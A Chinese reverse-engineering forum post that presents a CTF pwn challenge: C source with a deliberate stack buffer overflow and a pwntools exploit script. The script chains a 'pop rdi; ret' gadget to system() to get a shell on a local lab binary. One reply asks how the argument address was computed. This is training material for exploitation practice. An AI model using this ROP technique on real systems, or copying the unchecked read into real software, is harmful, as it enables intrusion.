学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1171

主题
发表于 2020-4-24 00:43:48 | 查看: 7101| 回复: 1

相关题目:

♦ pwn3

题目源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char aaa[100]="87asdhf893HF*ry0395$sd)F\x00Y)*SF)";
char ccc[100]="4985y9y()DY)*YFG8yas08d976s08d7$0\x00sadaDS&*(7s";
char bbb[100]="89Y*G(*YfGF0YF8f08yf8\x00)a8s7d0$sd)D9gf-s)";
char ddd[100]="hhhhh, are you finding the binsh?";
char ee[100]="sorry!nothing here!";
char bbddb[100]="23333333333333333333";
int main()
{

        char buf[0x10];
    memset(&buf,0,0x10);            
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 1, 0);
    printf("Come on,try to pwn me\n");
        read(0,buf,0x30);
    printf("So~sad,you are fail\n");
        return 0;
}


void __libc_shell_()
{
        system("ok~you find me,but you can't get my shell'");
}
//????:gcc -z execstack -fno-stack-protector -o stack2 stack2.c

exp:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *

p = process("./stack2")
p.recvuntil("Come on,try to pwn me\n")

pop_rdi_ret=0x00000000004007d3
arg=0x60111F
system=0x400570
payload = "a"*0x18+p64(pop_rdi_ret)+p64(arg)+p64(system)

p.send(payload)
p.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
发表于 2020-11-6 23:39:15
arg地址是怎么计算的?

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-12-27 01:05 , Processed in 0.149780 second(s), 41 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表